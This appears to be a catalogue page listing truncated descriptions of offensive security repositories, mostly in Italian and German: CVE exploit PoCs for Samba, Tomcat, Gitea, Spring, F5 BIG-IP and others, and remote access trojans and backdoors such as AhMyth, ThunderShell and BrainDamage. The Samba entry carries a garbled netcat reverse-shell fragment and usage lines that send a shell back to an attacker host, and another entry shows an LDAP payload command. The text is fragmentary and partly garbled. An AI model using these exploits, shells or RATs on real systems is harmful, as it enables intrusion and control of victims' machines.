ICT287_CVE-2022-30190_Exploit

ICT287CVE-2022-30190Exploit Progetto sullo sfruttamento e sulle strategie di mitigazione della vulnerabilità CVE-2022-30190 📌 Informazioni Questo repository contiene il mio progetto finale per ICT287, in cui esploro la vulnerabilità CVE-2022-30190 "Follina". Il progetto comprende: Analisi...

Laravel-CVE-2018-15133

CVE-2018-15133 - Laravel-APPKEY-Deserialisierungsschwachstelle White Hat School 3. Jahrgang, Klasse 28, Lee Yebin – Virtualisierung – verwundbare Docker-Konfiguration https://github.com/yeahhbean/Laravel-CVE-2018-15133 Überblick Dieses Projekt ist eine Docker-basierte Umgebung, die zur...

cve-2021-25646

Apache Druid Remote Code Execution Schwachstellenübersicht Apache Druid hat ein Sicherheitsupdate veröffentlicht, das eine Remote-Code-Execution-Schwachstelle mit der CVE-Nummer CVE-2021-25646 meldet. Da Apache Druid standardmäßig keine Authentifizierung vorsieht, können Angreifer speziell...

CVE-2017-11610

Script per la vulnerabilità di esecuzione remota di comandi in Supervisord CVE-2017-11610 Introduzione alla vulnerabilità Supervisor è uno strumento di gestione dei processi scritto in Python, che può essere utilizzato molto comodamente su sistemi UNIX-like non supporta Windows per avviare,...

CVE-2020-5902

CVE-2020-5902 codice exploit per F5-Big-IP CVE-2020-5902 Riepilogo Nelle versioni BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1 e 11.6.1-11.6.5.1, l'interfaccia utente di Traffic Management TMUI, nota anche come utility di Configurazione, presenta una vulnerabilità di...

WindowsFirewallRuleset

Windows Firewall Ruleset Inhaltsverzeichnis Windows Firewall Ruleset Inhaltsverzeichnis Über Windows Firewall Ruleset Firewall-Regeln Firewall-Framework Die Vision dieser Firewall Lizenz Anforderungen Anforderungen im Detail Ich erfülle die Anforderungen nicht Erstbenutzer Warnung Hinweis...

CVE-2018-7848

CVE-2018-7848 Prodotti interessati Schneider Electric Modicon M580 Versione 2.90 Schneider Electric Modicon M340 Versione 3.10 Schneider Electric Modicon Premium Tutte le versioni Schneider Electric Modicon Quantum Tutte le versioni Riferimenti...

cve-2025-24813-poc

CVE-2025-24813 Apache Tomcat RCE Exploit PoC Este repositório contém um exploit de prova de conceito para CVE-2025-24813, uma vulnerabilidade de desserialização Java no Apache Tomcat. Baseado em absholi7ly/POC-CVE-2025-24813/. Pré-requisitos Docker Configuração 1. Instalar dependências:...

mig

MIG: Mozilla InvestiGator MIG è la piattaforma di Mozilla per l'investigazione chirurgica di endpoint remoti. ⚠️ Avviso di Deprecazione ⚠️ Mozilla non mantiene più il progetto Mozilla InvestiGator MIG. Mozilla non utilizza più questo codice internamente. Sei libero di utilizzare questo codice così...

BrainDamage

BrainDamage Ein auf Python basierendes Remote-Administrationstool, das Telegram als C&C-Server verwendet. root@kitploit: /\ /.\ ,.-'/ ",'-., -^ /-^: | \ | \ | | | | | | | | Entwickelt von: Mehul Jain -- Nur für Windows | | | | | | | | | / / | | | | | '/ / | | | | / | | || || | | | /\ \ ||...

AhMyth-Android-RAT

AhMyth Android Rat Versione Beta Si compone di due parti: Lato server: applicazione desktop basata sul framework electron pannello di controllo Lato client: applicazione Android backdoor Per Iniziare Hai due opzioni per installarlo 1 Dal codice sorgente Prerequisiti: Electron per avviare l'app Ja...

SocialFishMobile

SocialFish Mobile Questa applicazione è un progetto open-source per controllare da remoto SocialFish, non funziona in modo indipendente. Come compilare root@kitploit: Prepare your Flutter environment Go to https://flutter.dev/docs/get-started/install After configured go ahead Clone this repositor...

Idisagree

Idisagree v1.0 Steuere entfernte Computer mit Discord-Bot und Python 3. ! Falls Ihr Ziel ein Windows-System ist, möchten Sie möglicherweise Ihren Payload kompilieren. Tun Sie dies mit py2exe oder pyinstaller. BETREUER Alisson Moretto | Twitter: @UndeadSec Github: @UndeadSec VORAUSSETZUNGEN Python...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Utilizzo root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py...

CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

ThunderShell

ThunderShell ThunderShell è un RAT in C che comunica tramite richieste HTTP. Tutto il traffico di rete è crittografato utilizzando un secondo livello di RC4 per evitare l'intercettazione SSL e sconfiggere il rilevamento di rete sul sistema di destinazione. RC4 è un cifrario debole e viene...

CVE-2022-30781

🍵 CVE-2022-30781 Exploit di esecuzione remota di comandi tramite migrazione repository Gitea. Come usare 1. Esegui un server filesystem HTTP con i file in questo repository. 2. Modifica il comando da eseguire in api/v1/repos/e99/exp/pulls/1/index.html L96. 3. Migra un repository remoto con URL...

cve-2018-15473

CVE-2018-15473: Enumerazione degli Username OpenSSH OpenSSH fino alla versione 7.7 permette ad attaccanti remoti di enumerare username validi inviando richieste di autenticazione malformate e osservando le risposte differenziali del server. Dettagli Campo| Valore ---|--- Software Affetto| OpenSSH...

spring-framework-rce

spring-framework-rce CVE-2022-22965 Requisiti di ambiente 1. tomcat8 8 Utilizzo 1. Scarica springframeworkrce-0.0.1-SNAPSHOT.zip, estrailo e rinominalo in ROOT.war. 2. Sostituisci la cartella ROOT o il file ROOT.war nella cartella webapps all'interno di tomcat. 3. Spostati nella directory bin...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...